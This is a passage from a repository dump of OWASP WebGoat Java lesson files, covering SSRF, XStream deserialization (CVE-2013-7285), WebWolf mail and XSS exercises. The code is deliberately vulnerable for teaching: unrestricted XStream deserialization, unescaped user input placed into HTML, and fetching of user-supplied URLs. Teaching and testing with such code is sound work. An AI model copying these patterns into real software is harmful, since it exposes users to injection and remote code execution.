extends AssignmentEndpoint { @PostMapping("/SSRF/task2") @ResponseBody public AttackResult completed(@RequestParam String url) { return furBall(url); } protected AttackResult furBall(String url) { if (url.matches("http://ifconfig.pro")) { String html; try (InputStream in = new URL(url).openStream()) { html = new String(in.readAllBytes(), StandardCharsets.UTF_8) .replaceAll("\n", "
"); // Otherwise the \n gets escaped in the response } catch (MalformedURLException e) { return getFailedResult(e.getMessage()); } catch (IOException e) { // in case the external site is down, the test and lesson should still be ok html = "Although the http://ifconfig.pro site is down, you still managed to solve" + " this exercise the right way!"; } return success(this).feedback("ssrf.success").output(html).build(); } var html = "\"image"; return getFailedResult(html); } private AttackResult getFailedResult(String errorMsg) { return failed(this).feedback("ssrf.failure").output(errorMsg).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.vulnerablecomponents; public interface Contact { public Integer getId(); public void setId(Integer id); public String getFirstName(); public void setFirstName(String firstName); public String getLastName(); public void setLastName(String lastName); public String getEmail(); public void setEmail(String email); } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.vulnerablecomponents; import lombok.Data; @Data public class ContactImpl implements Contact { private Integer id; private String firstName; private String lastName; private String email; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.vulnerablecomponents; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class VulnerableComponents extends Lesson { @Override public Category getDefaultCategory() { return Category.A6; } @Override public String getTitle() { return "vulnerable-components.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.vulnerablecomponents; import com.thoughtworks.xstream.XStream; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"vulnerable.hint"}) public class VulnerableComponentsLesson extends AssignmentEndpoint { @PostMapping("/VulnerableComponents/attack1") public @ResponseBody AttackResult completed(@RequestParam String payload) { XStream xstream = new XStream(); xstream.setClassLoader(Contact.class.getClassLoader()); xstream.alias("contact", ContactImpl.class); xstream.ignoreUnknownElements(); Contact contact = null; try { if (!StringUtils.isEmpty(payload)) { payload = payload .replace("+", "") .replace("\r", "") .replace("\n", "") .replace("> ", ">") .replace(" <", "<"); } contact = (Contact) xstream.fromXML(payload); } catch (Exception ex) { return failed(this).feedback("vulnerable-components.close").output(ex.getMessage()).build(); } try { if (null != contact) { contact.getFirstName(); // trigger the example like // https://x-stream.github.io/CVE-2013-7285.html } if (!(contact instanceof ContactImpl)) { return success(this).feedback("vulnerable-components.success").build(); } } catch (Exception e) { return success(this).feedback("vulnerable-components.success").output(e.getMessage()).build(); } return failed(this).feedback("vulnerable-components.fromXML").feedbackArgs(contact).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java ================================================ package org.owasp.webgoat.lessons.webgoatintroduction; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author WebGoat * @version $Id: $Id * @since October 12, 2016 */ @Component public class WebGoatIntroduction extends Lesson { @Override public Category getDefaultCategory() { return Category.INTRODUCTION; } @Override public String getTitle() { return "webgoat.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java ================================================ package org.owasp.webgoat.lessons.webwolfintroduction; import java.io.Serializable; import lombok.Builder; import lombok.Data; @Builder @Data public class Email implements Serializable { private String contents; private String sender; private String title; private String recipient; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.webwolfintroduction; import java.net.URI; import java.net.URISyntaxException; import javax.servlet.http.HttpServletRequest; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.ModelAndView; /** * @author nbaars * @since 8/20/17. */ @RestController public class LandingAssignment extends AssignmentEndpoint { @Value("${webwolf.landingpage.url}") private String landingPageUrl; @PostMapping("/WebWolf/landing") @ResponseBody public AttackResult click(String uniqueCode) { if (StringUtils.reverse(getWebSession().getUserName()).equals(uniqueCode)) { return success(this).build(); } return failed(this).feedback("webwolf.landing_wrong").build(); } @GetMapping("/WebWolf/landing/password-reset") public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException { URI uri = new URI(request.getRequestURL().toString()); ModelAndView modelAndView = new ModelAndView(); modelAndView.addObject("webwolfUrl", landingPageUrl); modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName())); modelAndView.setViewName("lessons/webwolfintroduction/templates/webwolfPasswordReset.html"); return modelAndView; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.webwolfintroduction; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.client.RestClientException; import org.springframework.web.client.RestTemplate; /** * @author nbaars * @since 8/20/17. */ @RestController public class MailAssignment extends AssignmentEndpoint { private final String webWolfURL; private RestTemplate restTemplate; public MailAssignment( RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { this.restTemplate = restTemplate; this.webWolfURL = webWolfURL; } @PostMapping("/WebWolf/mail/send") @ResponseBody public AttackResult sendEmail(@RequestParam String email) { String username = email.substring(0, email.indexOf("@")); if (username.equalsIgnoreCase(getWebSession().getUserName())) { Email mailEvent = Email.builder() .recipient(username) .title("Test messages from WebWolf") .contents( "This is a test message from WebWolf, your unique code is: " + StringUtils.reverse(username)) .sender("webgoat@owasp.org") .build(); try { restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); } catch (RestClientException e) { return informationMessage(this) .feedback("webwolf.email_failed") .output(e.getMessage()) .build(); } return informationMessage(this).feedback("webwolf.email_send").feedbackArgs(email).build(); } else { return informationMessage(this) .feedback("webwolf.email_mismatch") .feedbackArgs(username) .build(); } } @PostMapping("/WebWolf/mail") @ResponseBody public AttackResult completed(@RequestParam String uniqueCode) { if (uniqueCode.equals(StringUtils.reverse(getWebSession().getUserName()))) { return success(this).build(); } else { return failed(this).feedbackArgs("webwolf.code_incorrect").feedbackArgs(uniqueCode).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.webwolfintroduction; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class WebWolfIntroduction extends Lesson { @Override public Category getDefaultCategory() { return Category.INTRODUCTION; } @Override public String getTitle() { return "webwolf.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/Comment.java ================================================ package org.owasp.webgoat.lessons.xss; import javax.xml.bind.annotation.XmlRootElement; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.Setter; /** * @author nbaars * @since 4/8/17. */ @Getter @Setter @AllArgsConstructor @NoArgsConstructor @XmlRootElement public class Comment { private String user; private String dateTime; private String text; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xss; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class CrossSiteScripting extends Lesson { @Override public Category getDefaultCategory() { return Category.A3; } @Override public String getTitle() { return "xss.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xss; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class CrossSiteScriptingLesson1 extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/attack1") @ResponseBody public AttackResult completed( @RequestParam(value = "checkboxAttack1", required = false) String checkboxValue) { if (checkboxValue != null) { return success(this).build(); } else { return failed(this).feedback("xss.lesson1.failure").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xss; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; // @RestController @Deprecated // TODO This assignment seems not to be in use in the UI // it is there to make sure the lesson can be marked complete // in order to restore it, make it accessible through the UI and uncomment RestController @AssignmentHints( value = { "xss-mitigation-3-hint1", "xss-mitigation-3-hint2", "xss-mitigation-3-hint3", "xss-mitigation-3-hint4" }) public class CrossSiteScriptingLesson3 extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/attack3") @ResponseBody public AttackResult completed(@RequestParam String editor) { String unescapedString = org.jsoup.parser.Parser.unescapeEntities(editor, true); try { if (editor.isEmpty()) return failed(this).feedback("xss-mitigation-3-no-code").build(); Document doc = Jsoup.parse(unescapedString); String[] lines = unescapedString.split(""); String include = (lines[0]); String fistNameElement = doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text(); String lastNameElement = doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text(); Boolean includeCorrect = false; Boolean firstNameCorrect = false; Boolean lastNameCorrect = false; if (include.contains("<%@") && include.contains("taglib") && include.contains("uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\"") && include.contains("%>")) { includeCorrect = true; } if (fistNameElement.equals("${e:forHtml(param.first_name)}")) { firstNameCorrect = true; } if (lastNameElement.equals("${e:forHtml(param.last_name)}")) { lastNameCorrect = true; } if (includeCorrect && firstNameCorrect && lastNameCorrect) { return success(this).feedback("xss-mitigation-3-success").build(); } else { return failed(this).feedback("xss-mitigation-3-failure").build(); } } catch (Exception e) { return failed(this).output(e.getMessage()).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xss; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; // @RestController @Deprecated // TODO This assignment seems not to be in use in the UI // it is there to make sure the lesson can be marked complete // in order to restore it, make it accessible through the UI and uncomment RestController@Slf4j @Slf4j @AssignmentHints(value = {"xss-mitigation-4-hint1"}) public class CrossSiteScriptingLesson4 extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/attack4") @ResponseBody public AttackResult completed(@RequestParam String editor2) { String editor = editor2.replaceAll("\\<.*?>", ""); log.debug(editor); if ((editor.contains("Policy.getInstance(\"antisamy-slashdot.xml\"") || editor.contains(".scan(newComment, \"antisamy-slashdot.xml\"") || editor.contains(".scan(newComment, new File(\"antisamy-slashdot.xml\")")) && editor.contains("new AntiSamy();") && editor.contains(".scan(newComment,") && editor.contains("CleanResults") && editor.contains("MyCommentDAO.addComment(threadID, userID") && editor.contains(".getCleanHTML());")) { log.debug("true"); return success(this).feedback("xss-mitigation-4-success").build(); } else { log.debug("false"); return failed(this).feedback("xss-mitigation-4-failed").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xss; import java.util.function.Predicate; import java.util.regex.Pattern; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "xss-reflected-5a-hint-1", "xss-reflected-5a-hint-2", "xss-reflected-5a-hint-3", "xss-reflected-5a-hint-4" }) public class CrossSiteScriptingLesson5a extends AssignmentEndpoint { public static final Predicate XSS_PATTERN = Pattern.compile( ".*.*", Pattern.CASE_INSENSITIVE) .asMatchPredicate(); @Autowired UserSessionData userSessionData; @GetMapping("/CrossSiteScripting/attack5a") @ResponseBody public AttackResult completed( @RequestParam Integer QTY1, @RequestParam Integer QTY2, @RequestParam Integer QTY3, @RequestParam Integer QTY4, @RequestParam String field1, @RequestParam String field2) { if (XSS_PATTERN.test(field2)) { return failed(this).feedback("xss-reflected-5a-failed-wrong-field").build(); } double totalSale = QTY1.intValue() * 69.99 + QTY2.intValue() * 27.99 + QTY3.intValue() * 1599.99 + QTY4.intValue() * 299.99; userSessionData.setValue("xss-reflected1-complete", "false"); StringBuilder cart = new StringBuilder(); cart.append("Thank you for shopping at WebGoat.
Your support is appreciated


"); cart.append("

We have charged credit card:" + field1 + "
"); cart.append(" -------------------
"); cart.append(" $" + totalSale); // init state if (userSessionData.getValue("xss-reflected1-complete") == null) { userSessionData.setValue("xss-reflected1-complete", "false"); } if (XSS_PATTERN.test(field1)) { userSessionData.setValue("xss-reflected-5a-complete", "true"); if (field1.toLowerCase().contains("console.log")) { return success(this) .feedback("xss-reflected-5a-success-console") .output(cart.toString()) .build(); } else { return success(this) .feedback("xss-reflected-5a-success-alert") .output(cart.toString()) .build(); } } else { userSessionData.setValue("xss-reflected1-complete", "false"); return failed(this).feedback("xss-reflected-5a-failure").output(cart.toString()).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xss; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "xss-reflected-6a-hint-1", "xss-reflected-6a-hint-2", "xss-reflected-6a-hint-3", "xss-reflected-6a-hint-4" }) public class CrossSiteScriptingLesson6a extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @PostMapping("/CrossSiteScripting/attack6a") @ResponseBody public AttackResult completed(@RequestParam String DOMTestRoute) { if (DOMTestRoute.matches("start\\.mvc#test(\\/|)")) { // return ) return success(this).feedback("xss-reflected-6a-success").build(); } else { return failed(this).feedback("xss-reflected-6a-failure").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xss; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; public class CrossSiteScriptingMitigation extends Lesson { @Override public Category getDefaultCategory() { return Category.A3; } @Override public String getTitle() { return "xss-mitigation.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xss; import java.io.IOException; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class CrossSiteScriptingQuiz extends AssignmentEndpoint { String[] solutions = {"Solution 4", "Solution 3", "Solution 1", "Solution 2", "Solution 4"}; boolean[] guesses = new boolean[solutions.length]; @PostMapping("/CrossSiteScripting/quiz") @ResponseBody public AttackResult completed( @RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution, @RequestParam String[] question_2_solution, @RequestParam String[] question_3_solution, @RequestParam String[] question_4_solution) throws IOException { int correctAnswers = 0; String[] givenAnswers = { question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0], question_4_solution[0] }; for (int i = 